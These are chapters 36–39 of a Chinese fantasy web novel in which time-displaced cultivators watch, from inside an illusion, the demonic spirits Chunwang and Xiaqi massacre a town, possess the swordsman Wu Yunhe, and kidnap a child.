姜涟清最开始觉得奇怪,她和楚惊鸿该是没有见过才对,毕竟见过她这么会没有印象?
直到楚逢生说,是楚惊鸿在她掉进镜花潭之前单方面见过她。
姜涟清:“……”那真是凑巧了。
楚惊鸿还是难以置信,偏头看着棠溪迟:“那很怪了好吗?吴云贺他师妹实力比吴云贺强,怎么不让师妹出来啊?”
棠溪迟正坐在即墨逾身前与之弈棋,闻言轻飘飘答道:“因为她是无情道修啊。”
“除了云上洲很少有无情道修了,这样一来,学云上洲的修炼方法也无可厚非吧?阿离姐姐,你觉得呢?”
楚惊鸿一翻白眼:“还无可厚非,我看人家小姑娘无情道比你稳。”
棠溪迟笑两声:“那不是自然的吗?无情道不就要一个心无偏颇。”
姜涟清现在一听到棠溪迟说无情道,就想起当时他轻描淡写将碎道之事揭过。
现在的棠溪迟还是那个云上洲大逆不道的天才。
“无情道光理论上其实就很难了。”楚逢生对无情道一直以来的看法,都是有情比无情好,心善比冷漠好。
“无情道并非无情,要是谁真真是因无情无挂念而修的无情道,那这个无情道太好破了。”
“没有牵挂是很危险的。”
棠溪迟落棋的手停下一瞬,还是落进了棋局,落到棋盘上他才发觉这下是入了即墨逾的圈套了。
在即墨逾即将一子定局之时,他伸手截住:“欸,玉玉,我们商量个事嘛,让我悔一次?”
即墨逾抬眼,眸色淡淡,拂开他的手:“落子无悔。”
白子落棋局,定胜负。
姜涟清可太认同楚逢生所言了。于无情道而言,相较于封闭七情六欲,还不如平衡情感来的安全。
可不是她危言耸听,不过是经验之谈罢了。
生来无情无心,无欲无求之人,到底还是少数。
“所以现在,还没有把章家小小姐寻回,是吗?”
棠溪迟点头:“是这样没错,吴云贺临行前算了一卦就往落金去了,待到明日,钟离既白就会从芳华城出发,和楚予思一起前往落金。”
“所以最迟明日,我们三人也要启程去落金。虽然吴云贺卦术精湛,但到底是窥天命之为有损自身,再加上他一个人对付不了妄洲邪祟,我等定然是要前去助他的。”
楚惊鸿接话:“并不是说他不堪用的意思,算出来在落金很厉害了,只是打架的事还是交给棠溪即墨钟离吧。尤其是钟离既白,谁人不知谁人不晓?给他得意坏了。”
“不过,你到底是谁啊怎么……”这话是问的楚逢生,到底还是没全然说出口。
她还是惊讶楚逢生怎么会长得和楚予思一模一样,简直比她这个亲姐姐还像一个娘胎里生出来的。
若不是她爹娘只育有他们姐弟二人,绝无他人插足,她就要怀疑是爹有白月光还是娘有朱砂痣了。
楚逢生:“……我是死人。”
姜涟清一巴掌就拍他头上了,楚逢生吃痛叫出了声。
“涟清你打我干什么?”
姜涟清眉头一挑,气势凌人:“怎么和姐姐说话的?不是你姐姐也是楚予思姐姐好吗?”
楚逢生苦不堪言,那楚惊鸿还是他太奶奶呢。
可他不能说。
若说在场谁最知未来之事,那必定是他了,毕竟他来自千年以后。
楚逢生摸摸后脑勺:“那我确实是没有姐姐哈,这么多年叫过的姐姐还是只有涟清姐姐你一个。”
“咦~”楚惊鸿倒吸一口凉气,转身无法直视,“少说这两个字,你俩声音太像了,有点恶心到我了。”
你俩,说的是楚逢生和楚予思。
废话,今生和前世能不像吗?
即墨逾看着几人打打闹闹,依旧没什么表情,只是这天色不早,他总觉心中难安。
“几位,不如现在即刻出发?”
棠溪迟:“怎么了玉玉?”
即墨逾轻微摇头:“只觉若是再迟下去,或许有的事情就来不及了。”
“那便走吧。”楚惊鸿应声,反正总归要去落金,早晚都一样。
棠溪迟倒没什么意见,只是转头看着这两个不属于这个时间的人。
“二位自行跟随吧,毕竟……”
“你们就是想做什么,也做不到。”
在镜花水月中,
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他们是命运的旁观者。
姜涟清每每想到,心中的悲戚与怒火便一起点燃不熄。
若她不曾听闻往事传奇,或许对此情此景并无格外感慨,可往事中人不知以后所发生的一切。
他们是不知道的。
棠溪迟不知道自己以后无情道毁,楚惊鸿不知道她弟弟在以后死于异乡,即墨逾也不知道他与挚友终将别离。
虽然还未见过钟离既白,但想到他冬愿如此喜欢之人,必然有不可替代的关键。
钟离既白这个名字,想来现在,比后世的即墨先生之名还要闻名。
到底发生了什么……
姜涟清看着三人接连出了章府,拉上楚逢生也跟了上去。
她知道棠溪迟此人若是不问定然不答,也知他答了也不一定说全。
打谜语真是有一套的。
她偏要和楚逢生一起找到谜语的正确答案。
*
“我叫阿愿,我是阿愿啊……”
“我好难过好难过……为什么要这样对我呢?为什么要骗我呢?为什么不愿意遵守诺言?”
“为什么为什么为什么?”
“我就该遭受这一切吗?我就该承受这一切吗?”
“明明是你们的错……明明是你们的错!你们才该死啊!你们才该死!”
凄厉悲惨的女声在梦境中久久不绝,时而像是少女,时而若似女童。
可不例外的是,她们的声音从这漫天黄沙,狂风呼啸中传来。
钟离既白并未见过妄洲之景,此刻却无比清晰地意识到,这里便是妄洲,那个花萎草枯,灵气枯竭的妄洲。
他一刀插进脚下黄土立定,在黄沙中艰难行走。
他想看清楚,是谁在哭泣,是谁在惨叫。
为什么在哭呢?
小女孩的抽噎声近在咫尺,骤然清楚。
钟离既白一回头,一红衣白发的小女孩跪坐在地,掩面哭泣,绯色瞳孔却盛满了冰冷。
“为什么呢?”小女孩一歪头,从指缝里可以看见那双骇人的双眸,“我已经很努力很努力了。”
小女孩化作沙红姬花瓣消失不见,吹进黄沙里,钟离既白意图伸手去抓,却只有满手黄沙。
“为什么呢?”小女孩倚就在他刀下,“为什么要食言?不是答应我了吗,不是答应我只要我坚持住了,就带我去盈洲看瀑布的。”
在钟离既白看过来之时,她又化作猩红花瓣消散。
“为什么呢?”
狂风太大,吹模糊了视线,钟离既白单膝跪倒在地。
一只小手从他身后,掐住了他的脖子,却没有用力。他想转身去看看,却被沙红姬的尖刺刺伤了脖颈。
白发绯眸的小女孩靠在他耳边,轻声细语,又透着癫狂。
“明明是你们将尘缘九洲的血气全部引到我身上的,是你们造成的血流成河……为什么还要怪我承受不住?”
“我和阿墨不一样,我是你们强行孕育的灵呀,是你们强行让我吸收血气,换别处天地不受干扰的。”
“嘻嘻,是不是觉得很成功?”冬愿趴在他背上,手上的沙红姬依旧鲜艳,“其他洲的天地灵气再也不会混杂血气伴随滋生的魔气了,只有妄洲成了养蛊地。”
“怎么办呀小白,我好痛啊……我好痛啊……”
钟离既白瞳孔骤缩。
“你会一直一直,坚定自己的信念的,对吧?你一直想要除尽天下灾祸,我看到了的。”
“那也救救,‘我们’吧。”
37. chapter.37春望
彼时的落金遍地黄金叶,却不是纯粹的金色,反而沾着猩红色。
或者说,这片土地本就被鲜血染红,而后叶黄落地,掩盖了土地之下的森森白骨。
比起姜涟清来时见到的落金,她觉得这里更像是遭了那夜月中树影掩去的血光之灾。
也不怪章窈漪当时如此肯定是春望,毕竟只要见过春望,换谁来了都会认出这是他的杰作。
嗜血杀戮便是他的乐趣。
楚逢生蹲下,拨开了银杏叶,沾了一手黑红的土壤。
楚逢生:“看样子是新鲜的,还没有过去多久。可,只是落血吗……骨头去哪里了?”
空有血味,没有白骨。
他试着刨开泥土,可血液就如同浸染了整片土地一般,无论他怎么挖都有血腥味挥之不去。
姜涟清看着他一直刨土,联想起当时的白玉村。
当时的白玉村,说是屠村,也并未有见过死者尸首。
倘若是春望所为……
“不要刨土了,尸体都烧掉了。”棠溪迟再也看不下去,无奈扶额,“春望就是这样啦,杀人毁尸。”
“尸体都被魔焰烧掉了。”
说到这里,姜涟清才再度想起血月下黑色的焰火。春望的火是冰冷的。
楚逢生拍拍手,从地上起来。
“那春望有够有病的,连尸体都不愿意留下,妄洲灵不是会吸收血气吗?这是在干点什么?自己给自己施加苦难吗?”
棠溪迟眉头一挑,眼神探究:“你怎么知道妄洲灵会吸收血气?”
楚逢生一懵:“你们这个时候不知道吗?”
姜涟清:“……就是我们这个时候也不知道啊,楚逢生,你到底是哪里来的?”
“不可说不可说,这个真的不可说。”楚逢生连忙摆手,“不是我不愿意,是绝对不可以。”
“可以理解吗?我不可以说。”
他不可以说,他害怕改变过去。可实际上他已经说漏嘴很多次了,他也不知自己有没有潜移默化地改变这一切。
实在是……不可言说。
楚逢生深知,自己才是这里唯一的异时之人。
“我知道了,那便不说吧。”
姜涟清对他的态度越来越觉得难以捉摸了。
她一直觉得楚逢生身上有很多秘密是真,但再有秘密,也不该是这种与世不同的样子。
楚逢生一直知道很多她听都没听过的东西。
棠溪迟听了这话倒是没什么特别反应,只是沿着魔息,确定了一条道路。
“吴云贺的刻痕啊……”他在一处银杏树干上,寻到了一道刻痕。那上面的灵力纯粹灵动,蕴含暖意,正泛着白光。
偏头向前看去,沿途银杏皆有微弱白光。
这是留给他们的记号,看着还算新,希望还赶得及。
棠溪迟转头一笑:“二位,我们来看看,是谁先找到他怎么样?”
姜涟清:“什么?”
棠溪迟:“想来你二师兄的痕迹,你定然是比我熟悉,不如姜姑娘你和在下比试一番,看看谁先寻到他如何?”
他又想做什么?
姜涟清总觉得这话怪怪的,可具体却说不出是哪里奇怪,她的确对吴云贺的刻痕很熟悉。
在白玉村的井底,她就是靠着吴云贺的刻痕,才寻到了妖怪的大本营。
“可以试试。”她还是应了。
如果是想让她找到她想找到的东西……她有预感了。
棠溪迟说,她或许能在盈洲找到一个为什么春望选择吴云贺的答案。
现在是机会来了吗?
心跳声莫名开始沉重。
*
夜火将枯糙银杏点燃,诡焰在苍凉血月下焚烬所有尸身。
青年的刀插进鲜血浸染的土地了,清透眼眸倒映着红光下黑发赤瞳的邪祟。
他的肤色是病态的白,正笑得惊悚而动魄。
就是这个面容姣好的邪祟,在顷刻间毁去了几乎一镇子的平民百姓。
春望将溅在脸上的血擦到手指上,放进嘴里细细品味一番,而后猛然吐出一口污血。
“哈哈哈……哈哈哈哈哈!哈哈哈哈哈……!”他又大笑起来。
“还说你们不该死……没有比你们人还该死的东西了……一群蛆虫蝼蚁,也妄图从本座身上谋一个心安……”
“等着吧,盈洲只是一个开始,剩下的也别想跑掉……夏期这个死小孩就不指望他了。”
“啧,冬愿又跑去干什么了,这臭丫头三天两头去找那个姓钟离的。秋许也不用指望了,一天天只会小玫瑰,玫瑰姐自己去续缘吧。”
春望絮絮叨叨了好一会,才注意到身后渐渐微弱的喘息声。
吴云贺额头上磕出了伤口,方才鲜血流进了眼睛里,视线更加看不清。
意识渐渐模糊,可他知道自己还不能睡过去。血渍染红了青衣,浑身剧痛,却还握紧了刀柄,不愿倒下。
春望兴致盎然地来到他身前,抬起他的下巴。
“啧,夏期说你毁了他的小游戏,你叫吴云贺是吧?”他嘴角还挂着未干的血迹,可春望早已习以为常。
“你为什么想阻止我们?啧,要说理由……”他捏紧吴云贺的下巴,强迫他抬起眼睛看他,“我们的理由可比你们充分,血债血偿的道理,不是你们人的吗?”
吴云贺声音嘶哑,话说的断断续续:“我会……杀了你。我一定会杀了……你……”
“置众生于不顾之事,吴某做不到……你们……残害无辜百姓,谁会想知道是何由头?”
“不对那便是……不对咳咳……!”
春望顿时觉得这人有钱,同时又如同笑话。他冷笑:“你也知道不对便是不对?那你知道这些人都对我们做了什么吗?承了我们恩,却不愿偿还该有的果?”
他一下子把人拎起来,连人带刀一起扛走,不顾肩上人挣扎,一巴掌将人打晕了。
“既然觉得这群人无辜,那就像夏期一样来玩个游戏吧,我倒想看看,他们会选择救你还是用你一死,换他们的生。”
“至于是死是生……呵,那边在我一念之间了。”
冰冷的诡焰终于熄灭,小镇无白骨,却也无生息。
一切亡于月下。
春望并没有立刻找到一个新的地方,他带着吴云贺在落金停留了好一会,直到他醒来后,用一根根黑色的链条锁住了他的灵力。
吴云贺脸色难看,但他又能说什么呢?他并不指望能和邪祟沟通出什么。
更何况还是一个嗜血成性的邪祟。
他没了灵力,一时半会绝对逃不了,于是沿途留下的印记便成了唯一的路标。
没有灵力,他就只能拿出灵力充沛却无法引用的浮云挂坠,在一颗一颗银杏上留下刻痕。
快点来吧。
即墨逾,棠溪迟,钟离既白……
谁来都好。
快点来吧。
直到春望将吴云贺带到一座名叫流苏的城。
流苏城是一座小城,整座城栽满了流苏,雪白的流苏堪堪谢落,便迎来了这座城的宿命。
再不会有比这更绝望的场面了。
黑色诡焰在城中胡乱飞舞,有人的衣衫被点燃,火瞬间缠上皮肤,将人烧成了一摊干涸血迹,没进泥土里。
春望坐于高台,台下是普通民众的哭喊声,哀转久绝,以下以下刺痛着吴云贺的心。
流苏城主跌跌撞撞地跪倒在春望跟前,老泪纵横,连滚打爬地要去抓春望的衣角。
“大人!大人!放过我们吧!我们什么都没有做啊!我们老实本分了一辈子绝无可能做过害你之事啊大人!”
在临近春望衣摆时,他一抬脚,将这位老城主踹飞出去。
老城主年岁已大,哪里受得了这样一踹,顿时吐出一口黑血,花白的胡子染红。
“春望!你助手!他们不欠你的!”吴云贺的双手被黑链所缚,踉跄着想去拿刀。
他的浮云刀,此时正在春望手上,在日光下反照着白光。
如此刺眼……
春望一指便让他跪倒在地。他一脚踩上吴云贺的后背,将他踩在地上,又踩上他的头颅。
颤抖的双眸侧看着这副人间炼狱之景,止不住地想伸手去触碰,抓着地上的手都磨出了血迹。
“你到底要怎么样才能放过他们?!”
春望这下是真的对这个明明实力不怎么样,天赋也寻常之人起了兴趣了。
怎么看他都没有杀了自己的能力,却一直叫嚣着要杀掉自己,真是有趣。
那老城主依旧没有放弃,一点点爬到春望身前,抬起绝望混浊的眼眸:“大人……到底要如何,才愿意放过我等小人……”
春望并未搭理老城主,饶有兴致地碾了碾吴云贺的头,听着他发出一声闷哼便觉得无比乐趣。
他现在有点明白夏期的游戏在高兴什么了。
“吴云贺,要不,把你给我吧。”春望咧嘴笑了,“我还缺一样东西。”
缺一副行走人世的身体。
吴
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云贺咬牙切齿:“休想!”
“那好吧。”春望会让他愿意的。
强行得到有什么意思,他偏要他求着给。
他松了脚,看着吴云贺从地上爬起来,随后居高临下地看着老城主,挂上一丝讽刺的笑来。
“放过你们,也不是不可以。”春望一副有的商量的样子,“那,他替你们去死,怎么样?”
他又踹了一脚刚爬起来的吴云贺,让他跪倒在地,止不住地咳嗽。
“这这……”老城主欲言又止,心下不忍,“大人,这……”
春望:“我没那么多时间,我的火烧的也没那么慢,你不答,等会可没机会了。”
老城主:“这,可这……”
春望:“啧,真慢。”
吴云贺愤恨地瞪着他:“要杀要剐便冲着我来,休要伤人!”
场面一时陷入僵局,唯有身后火舌蔓延,惨叫连连。
老城主心下一横,总不能为了个陌生人,害他们一城人都死绝吧?
何况这人一直被捆在邪祟身边还不死,未尝是什么好人,既然如此,用他的命换一城人的命又怎么样?
“他死!要他死大人!要他死!放过我们吧!放过我们吧!”
“对不起少侠!可我不能置这一城人不顾啊!”老城主在地上止不住地以头碰地。
春望得到了满意的答案,却未曾从吴云贺脸上看见错愕的表情。
反之,他神情无比坚毅:“那就杀了我。”
春望脸上的笑意淡了。
“晚了。”他提着浮云刀,一刀捅穿了老城主的头,火势愈发凶猛。
“我改变主意了。”
亲眼看着老人倒在自己身前,吴云贺只觉心突然停止跳动,然后是绵绵无尽的,对春望的恨意。
春望终于看着他的表情丝丝龟裂,泪痕流面。
“这不能怪我呢,谁让他说晚了?我说了,晚了我可就改变主意了呢。”
吴云贺一寸一寸转头,语气平静到吓人:“你到底,要怎么样?你到底!要怎么样!”
他抑制不住地嘶吼:“我去死就好了我可以去死!为什么要这样?为什么不愿放过他们?为什么?!”
春望不言,只是又放出几团诡焰,再度添火。
吴云贺被骤然窜高的火舌冲回了理智。
不,冲着他吼有什么用?冲着他吼他也不会放过他们的。
他要怎么办?他要怎么办!
思绪愈发混乱,吴云贺觉得自己的大脑一阵阵发痛。
他还能怎么办?
袖手旁观看着他们被火焰吞没吗?
不,不,不可以!
不可以!
吴云贺慌乱之下,跪着向春望爬去,攀上他的腿。
“你放了他们!我给你行不行?只要你放了他们,你要我什么都可以!”
“我求你,你放了他们!”
春望终于疯癫大笑起来。
“哈哈哈哈哈——!”他的身体变得透明,让吴云贺抓了个空。春望飘到吴云贺身后,附在他耳边:“这可是你求我的,吴云贺。”
黑发赤眸的鬼影钻进了吴云贺的身体里,黑色诡焰骤然停息。
吴云贺跪坐在地,头抵着高座的边缘,身体止不住地颤抖。
*
“别去……”楚逢生拉住了姜涟清的手腕,阻止她越过毁坏的房屋去见吴云贺。
姜涟清转头,神情激动又愤怒:“为什么不去,那是我师兄!那是我师兄!”
“我好不容易……”她突然哽咽起来,泪水在眼眸里打转,“我好不容易才再见到他的……”
“我和他的最后一面就是他死了啊……”
姜涟清伸手试图掰开他的手:“楚逢生你放手,我要去看我师兄!”
“不许去!你有没有想过他能看见你!”
楚逢生一把将人拽进怀里,抱着她发抖的身躯,理性分析给她听。
“我知道你难过,涟清。可你想过没有,吴云贺想让你见到他这么狼狈的时候吗?吴云贺会想在这种时候见到你吗?”
“你刚才不是试过了?无论夜阑珊还是天机镜,对这些黑色的焰火没有一点用!”
“我们是改变不了幻境里的一切的。”
他怀里的少女抓紧了他的衣襟。
楚逢生轻叹一口气,摸了摸她的头:“涟清,不要哭。”
“结果会好的。”
结果会好的。
我心爱的姑娘,请不要再哭泣。
38. chapter.38夏期
秋风萧瑟,流苏花叶落地干枯,诡焰所过痕迹依旧,高台上却不见吴云贺的身影了。
棠溪迟姗姗来迟,只看到幸存百姓正从废墟里拉出一个又一个侥幸活下来的人。
失去孩子的夫妇小声抽噎着,失去父母的孩子呆愣地看着这凄凉残景。
一场突如其来的灾祸带走了许多人的家。
分明劫后余生,却好似将按部就班的人生截断,走向了一片迷雾中,再看不清前方道路。
若说心中是否有所感触?
棠溪迟一次又一次地问自己。
没有的,一点都没有,谁让他是棠溪迟呢?无情无心,无牵无挂,云上洲人口中的先天无情道圣体。
他是,空的。
他找不到办法填满自己,于是他学着他人救世,学着他人做善事。
可到头来,他依旧对这一切毫无波动。
棠溪迟在高台上将一道血迹抹到指尖,他完全确定,这是吴云贺的血。
可吴云贺去哪里了呢?
他眯起眼。
一般来说,春望绝不会放任何人活着离开这里,也绝不可能让这座城有一人生还。
谁不懂因果轮回的道理?于是他先下手赶尽杀绝。
这火烧痕迹必然是春望。
“姜姑娘是不是得到自己要找的答案了?”棠溪迟没有转身,但他知道是谁来了,“如果你在你的时代认识我,我大概会说,你能来盈洲寻一个吴云贺的答案吧。”
姜涟清掩去悲伤,眼神复杂:“你还真是了解自己。”
棠溪迟:“那自然啦,人要有自知之明。”
“至于楚逢生……我有一个很奇怪的猜测,想不想听啊?”他蓦然转身,弯起一抹笑,与方才冷淡冰凉的神情全然不同。
“我在想,这世界上会不会有来生的自己,穿来前世的自己的身体,这样巧合又荒诞之事。”
楚逢生矢口否认:“你想多了,我要是楚予思转世,我家里人早把我供起来了。”
非也,事实上后世的楚予思只在史书中和姜涟清记载在一起了。
这样说似乎也不对,毕竟史书中早已遗失姜涟清的名字,更广为人知的,还是司命之名。
楚予思相关之事,定是少之又少。
棠溪迟:“这么说,你来自更久以后?”
完,中套了。
楚逢生有时间真想给自己的嘴撕了,什么大漏勺。
“你好奇这个有什么用?反正就算告诉你,现实的你也不知道。”姜涟清说。
楚逢生:“就是说,告诉你现实的你也不知道啊。”
谢姜涟清救他一命。
棠溪迟摆摆手,也没有要追根溯源的意思:“那好吧,我接着走了,二位。”
“我有预感,再也不可能在盈洲找到春望和吴云贺了……不过我发现一点东西。”他捡起一旁断裂的铁链,觉着灵力上了些许限制。
“或许妄洲灵,并不止春望一个,或者说,并不止他一个人在行动,同根同源却不完全相同的魔息……”
“哈。”棠溪迟扔掉锁链,欲原路返回,“我知道了,原来是这样啊……”
原来是这样是哪样?
姜涟清一时间听不懂这人又悟了些什么,等她意识到棠溪迟是猜出妄洲灵分裂的时代,他已经走出很远。
恐怖如斯。
她不知道还有什么词可以用于形容了。
“走吧,跟上去看看。”姜涟清拉过楚逢生的手,又开始奔跑起来。
“不出意外的话,很快就能见到这个时候的窈窈了。”
*
夏期的玩心大,而窈窈说她曾以为这还是春望,或许这次又只是他的一个小游戏。
可这是一个什么游戏呢?
绑架昙城数人,最后只带着一个小姑娘藏起来。
这算是什么游戏呢?
思来想去,姜涟清只得想到自己孩童时期和师兄姐们玩的幼稚游戏。
捉迷藏。
小孩子们心智稚嫩,想到的游戏能多需要用到脑子?夏期也算是个孩子了。
姜涟清一直觉得,若阿愿是在春天出现,有些太不符合常理了。因春望太过血腥,她总觉得,或许夏期才是阿愿最开始的状态。
懵懂无知,不明黑白是非的孩童。
所以,当棠溪迟摸着这股不同寻常的魔息找到一处黝黑的山洞时,姜涟清一点也不惊讶。
棠溪迟没在洞口停留太久便直接进去了,要是有什么陷阱,那就只能相信他实力超群,能自己破局了。
越往洞里去,水滴的声音越密集。
嘀嗒。
一点冰凉落到姜涟清额头上,伸手一摸,是一种黏腻的触感。
洞穴深处隐约传来微弱的啜泣声。
夏期有点后悔了。
自己留谁不好,留了个眼睛会流水的小女孩,还是非不听只顾着哭,一直吵着要爹要娘。
这小孩脸本来就脏,一哭和流浪猫似的。
“你能不能别哭了?都和你说了只是玩个游戏而已,你不觉得很好玩吗?”夏期再次试图说服她。
“你看我们俩藏的多好!这都十几天了还没有人找到我们。”
“我也没有亏待你吧?我还给你摘小白果,不要哭了好吗?没有你又不会有人来找我,谅解一下呗?”
白发绯瞳少年人大咧咧地坐在地上,试图止住小女孩继续泪流不止。
可一听他的话,这小孩反而哭得更厉害了。
章窈漪嚎的嗓子都哑了,却还是磕磕绊绊地说:“你、你是坏人!”
“哪里有人玩捉迷藏把这么多人一起藏起来的?这一点都不好玩!那个大哥哥明明赢了为什么不让我一起走?”
“你是坏人呜呜呜呜呜——”
夏期一急,拍了一下大腿:“我哪里坏了!是他打不过我好不好?他没实力把你抢回去还是我的错了?”
章窈漪红彤彤的眼睛愤愤地盯着他看,似乎在说:不然呢?
夏期:“……”
小孩子这种生物真难懂。
当然,他倒不是觉得这小孩比那群人宝贵,只是觉得她的经脉看起来很适合修炼。
虽然他也不知道自己怎么看出来的,或许这就是与生俱来的天赋吧,他还是比春望聪明太多了。
也就春望这个蠢蛋一天天地自报家门,生怕不知道他们是谁。夏期当然对他们几个的能力有自信,可现在的盈洲有好多恐怖的人。
冬愿就很喜欢那个叫钟离既白的紫极洲人,也不知道那个人好在哪里,死皮赖脸地想和人家灵魂共生。
这种出卖自己自由的事情,夏期做不到。
哭声掩去了轻微的脚步声,可夏期明显感觉到一种直击灵魂的寒凉。
这么冷的灵力,想必它的主人也是个不通情理的冰块。
也罢,好歹是有人找过来了,岂有不会面的道理?毕竟只有他找到了。
然而在他将将起身时,周围湿润的石头上边结了霜寒,连章窈漪哭湿的衣袖都冻住。
……如此可怕的灵力,来的是个化神期?
正这样想,一冰蓝色的剑便从他背后袭来!
夏期捞起章窈漪一下便闪开,眼瞧着身后凹凸不平的石壁发出一声巨响。
夏期手上捞着小孩,一边转头看向来人。那人一袭蓝白衣衫,长发竖起,执一柄冰蓝色的剑,面上正挂着一个笑。
啧,真不知道在笑些什么。
丝丝寒气从石壁中冒出,棠溪迟并没有要过多沟通的意思,一进来看见这个紫衣小朋友的时候,他便认出了。
这就是章流漪那个不知道隔了几辈的曾侄女。
“绑架小孩子,到底谋点什么呢?”棠溪迟不懂了,“不谋财也不谋命,那是想要什么呢?”
夏期坦然道:“当然是想有人来找我啊?
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不然谁陪我玩这个游戏。”
章窈漪从被捞起来时就一直扑腾,原先看见这个漂亮哥哥的时候她还以为要得救了,一直吸引坏人注意力。
没想到这个坏人还是不放过她!
似是嫌手上的小孩一直动太烦了,夏期“啧”了一声,直接把她往洞穴里扔。
章窈漪落地吃痛,脸上擦出几丝血。
然,棠溪迟的目光并不在这孩子身上,是夏期未想到的。毕竟那个叫吴云贺的就一直把眼睛放在这群普通人身上。
突然出现一个眼睛里没有别人只有他的人,还挺稀奇。
夏期一下子心情大好:“真是恭喜你了居然第一个找到我,这场游戏是你赢啦。”
他收回刚刚骂冬愿的话,他现在也想找个身体寄宿了。不过这人是否真的合格,还是要看他表现。
没关系,这么久都等过来了,也不差一时半会。
夏期的身影渐渐隐去,片刻消失在空气里。他要去和春望宣布这个好消息。
等这个人通过他的考核,到时候他就可以待在妄洲以外的地方,永远都不回去,永远……
棠溪迟觉得这个邪祟简直莫名其妙,和春望完全不是一个档次。
如果说春望是个绝望的成年人,他就是个玩心重的小孩子。
看来他的猜想还有待考究。
要是妄洲灵真的按着不同时期分裂了……那该是经过什么才会长成春望那个样子,或者说,更坏?
棠溪迟上前去把章窈漪扶起来,避开脸上的伤口,擦了擦她面上的灰,将语气放得柔缓。
“你是章流漪的小侄女对吧?”
章窈漪的眼睛眨巴眨巴:“你认识我阿姊吗?”
棠溪迟点头:“是哦。”
他的手搭在小姑娘肩膀上,催动灵力给她疗伤。
“嗯……?”
章窈漪脸上的伤口一点点愈合,蓬乱的头发却还是衬得她好可怜。
楚楚可怜的,和她那个不知隔了几辈的姑姑一点都不像。若单论长相的确是像的,只是章流漪一辈子都露不出这种表情。
“哎呀,我看你很适合修道哦。”
棠溪迟刮了一下她的鼻子。
“我们现在去绝音楼和你阿姊商量一下,等这场灾祸结束了,和我去云上洲怎么样?”
章窈漪一下子没反应过来,不理解话题为何跳转如此快。
“啊?”
棠溪迟:“你想修道吗?”
章窈漪迟疑:“嗯……想的?”
棠溪迟:“那我们走吧,现在去找你阿姊。”
棠溪迟牵着小姑娘的手,一点没注意身后跟着的两人到底是何反应。倒是章窈漪看见二人时一惊,拉拉少年的袖子,想说些什么。
但棠溪迟说:“不必在意。”
恩人都这样说了,她也不再纠结过多,所以她自然不知这两位到底是何看法。
姜涟清对夏期是失望透顶的。
她做梦都想不到夏期真就这般儿戏,一个看对眼就宣布游戏结束,直接一溜烟逃走了。
“你说这正常吗,楚逢生?”
如此荒谬,可如果是夏期,一切却合理了起来。
楚逢生深有同感,他伸手拍拍姜涟清的肩膀:“我不知道,但如果是夏期,好像也不奇怪。”
“小孩子玩的游戏总会有个过程。”
“现在玩的幼稚,七年后就开始恐怖了不是吗?”
夏期的追逐游戏并未给他留下过多印象,可有现在这场幼稚到呆萌的捉迷藏在前……
或许人世间就是个大染缸。
“好了涟清,我们跟上去吧。”
还有秋许和冬愿。
他们又是何种模样,何种脾性?
春望和夏期太割裂了。春望是不是阿愿最后的形态尚且未知,但夏期绝对是早期的阿愿。
祂到底经历了什么,才会变成这样?
39. chapter.39秋许
“算算时间,现在应该是棠溪找到窈窈的时候。”
等待的时间太过无聊,章流漪派人沏了一壶茶。清茶清香,云白的烟雾徐徐升起。
“我在想,棠溪会不会来。”
楚惊鸿:“棠溪会不会来?这还需要问吗?他不就喜欢凑点热闹。”
章流漪不置可否:“即墨或许不会来了,所以我在思考罢了。还不是因为他随心而为,捉摸不透。”
“其实阿离你也明白,他就不算什么好东西。”
无法反驳。
棠溪迟确实不是个好东西,他不喜欢参与光喜欢看着,即使自己有能力改变这一切,也会选择袖手旁观。
无情是无情,但不是无情道所代表的无情,说好听点是世界在他眼中是无色的,说难听点不过是他没有心。
只能说云上洲的教育真可怕,唯一一个行走世间的还是个无心人。
“也不能这样说,他看明白的东西其实不少。”楚惊鸿对这人的印象,停留在钟离既白私下感慨。
感慨怎么会有人天赋这么变态。
章流漪不咸不淡道:“可是他不会说,他永远都不会说,说了也不一定就是所有。即墨是真心想救人,他可不是。”
章窈漪虽然不太明白阿姊和这位大姐姐,为什么对棠溪迟的评价好像……总之对他颇有微词。
但在她心里,还是觉得棠溪迟很厉害的,光是听过昼夜同天,她就觉得自己大师兄很厉害了。
“那个。”章窈漪弱弱举手,“我觉得大师兄挺好的。”
楚惊鸿一笑:“其实是挺好的,就是很可怕而已。”
“任谁都会觉得,一个入世了都是淡漠旁观者的人很可怕的。他最先知道秋许,可直到冬愿回到妄洲,他都没有提过一次。”
“直到现在,我们都不知道秋许在盈洲哪里,单知道不能许约,更不得许期……还是以血的代价。”想到这里楚惊鸿不禁叹气,“有一说一,棠溪迟在真的能解开很多谜团。”
“但他不管事,那在不在也没差了。”
章流漪对此不发表意见,她起身,差人讲这壶茶撤了。
许是待在这里等待实在过于无趣,留了张青鸟传音符便向外走去:“你们等着吧,我还有些事要去处理一下。”
她脸色有点难看了。
楚惊鸿一听,觉着她语气不对,可又说不出不对在哪里,缓缓点了点头。
“那你去吧,楼主大人~”
章流漪颔首。
待章流漪走后,楚惊鸿便凑到章窈漪面前,捏了捏她的脸蛋:“哎呀小窈窈,好久不见哦。”
“你还记得我吗?”
章窈漪其实不太记得。
记忆最深的还是棠溪迟当时找到她,问她要不要去云上洲,再深刻就是姜涟清救她于水火了。
那年她才六岁,要说记得多清楚,那还真不太可能。
毕竟她曾以为,夏期就是春望。
虽然现在看来,这么说是对的。
不算毫无记忆,印象里的楚惊鸿一直是个暴躁大姐姐的形象,和现在别无二致。
“记得一点点吧。”章窈漪说,“我还记得姐姐你说要把谁打死。”
楚惊鸿:“……”
她只说过要打死钟离既白的话。
*
琉华殿内,章流漪回来的第一件事便是取了一把青玉所制的古琴。
自楚惊鸿说到秋许二字起,秋许的存在便愈发明显,她觉着,秋许就在她身后,含笑望着她。
她拉开帷幕,坐于其间鼓琴。
这把琴名为流水弥音,是她师尊留给她的遗物。
在九年前,她还不是绝音楼的楼主,直到妄洲邪祟出,师尊死于春望之手。
说棠溪迟知道也不说的是她,可事实上,她才是最明白妄洲邪祟的人不是吗?祂是阿愿。
祂可是阿愿。
是她告诉阿愿小孩子喜欢玩游戏的,是她和阿愿许诺,带祂去盈洲看瀑布的,也还是她……
是她直接离开了妄洲,一句告别都没有。
甚至……
她的琴音越来越急迫。
甚至给阿愿的枷锁,也有她一份力。
当时,盈洲降星洲,浮洲紫极洲,还有初日洲,五洲决定将尘缘九洲的血气与随之而生的浑浊魔气引到一个固定之地。
那个固定之地,便是大片沙漠的妄洲。
妄洲灵气向来是尘缘九洲中最薄弱的,这样一个地方,本该生不出灵来。
